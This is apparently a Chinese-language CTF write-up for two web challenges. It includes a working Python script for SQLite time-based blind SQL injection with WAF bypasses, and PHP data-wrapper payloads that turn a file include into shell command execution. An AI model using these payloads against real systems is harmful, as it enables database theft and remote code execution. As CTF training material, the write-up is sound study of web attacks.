2025

奶龙回家

在做的时候尝试了时间盲注,但是MySQL中的sleep和benchmark被ban了,后面尝试无果,看wp才知道是sqlite的时间盲注,先fuzz测试下wafimage-20250216191415587

可知union,benchmark,sleep被过滤,但是实测空格和等号也被过滤了,用/**/代替空格,sqlite中的randomblob()来进行延时,最终脚本如下

import requests
import time

url = 'http://node.vnteam.cn:43292/login'
flag = ''

for i in range(1, 500):
low = 32
high = 128
mid = (low + high) // 2

while low < high:
time.sleep(0.2)

# 构造注入payload
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
# 另一个可选的payload,用于查询sqlite_master表中的sql字段
# payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(300000000)/**/else/**/0/**/end)/*".format(i, chr(mid))

datas = {
"username": "123",
"password": payload
}

start_time = time.time()
res = requests.post(url=url, json=datas)
end_time = time.time()

spend_time = end_time - start_time

if spend_time >= 0.19:
low = mid + 1
else:
high = mid

mid = (low + high) // 2

if mid == 32 or mid == 127:
break

flag += chr(mid)

print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))

但是只跑出来一次对的,很容易跑错,环境有问题,最后拿到nailong/woaipangmao114514登录获得flag

image-20250216200657077

2026

signin

<?php
highlight_file(__FILE__);

$blacklist = ['/', 'convert', 'base', 'text', 'plain'];

$file = $_GET['file'];

foreach ($blacklist as $banned) {
if (strpos($file, $banned) !== false) {
die("这个是不允许的哦~");
}
}

if (isset($file) && strlen($file) <= 20){
include $file;
};

主要的困难就是将/禁用了,但是看到后面禁用的textplain想到data伪协议可以不需要空格,然后又有20个字符要求,所以先来一个最简单的试试能否执行命令

GET:file=data:,<?=`ls`;

image-20260201132710566

成功执行命令后就是在限制没有/的情况下卡字数,这里通过变量引用来实现

GET:file=data:,<?=`$_GET[1]`;&1=cat /flag

image-20260201132909578

VNCTF{a6c38fe1-5879-429c-812c-a524e34d6cc2}

PS:是真卡字数哇,一个不多一个不少